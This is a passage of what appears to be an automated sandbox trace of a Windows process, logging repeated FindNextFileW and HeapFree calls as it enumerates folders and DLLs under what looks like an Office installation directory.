ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0168.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.180] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0168.183] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.183] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0168.186] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.186] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0168.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.189] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0168.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.192] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0168.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.376] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0168.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.632] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0168.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0168.817] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0169.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.369] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0169.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.371] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0169.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.373] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0169.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.375] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0169.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.378] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0169.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.380] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0169.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.382] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0169.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.384] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0169.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.388] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0169.390] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.390] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0169.392] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.392] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0169.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.394] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0169.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.398] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0169.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.671] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0169.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.671] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1 [0169.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.671] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1 [0169.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1 [0169.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1 [0169.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1 [0169.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1 [0169.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0169.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1 [0169.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0169.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1 [0169.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0169.673] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1 [0169.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.674] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1 [0169.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.674] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0169.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.674] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0169.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.674] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0169.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.674] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1 [0169.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.675] FindNextFileW (in: 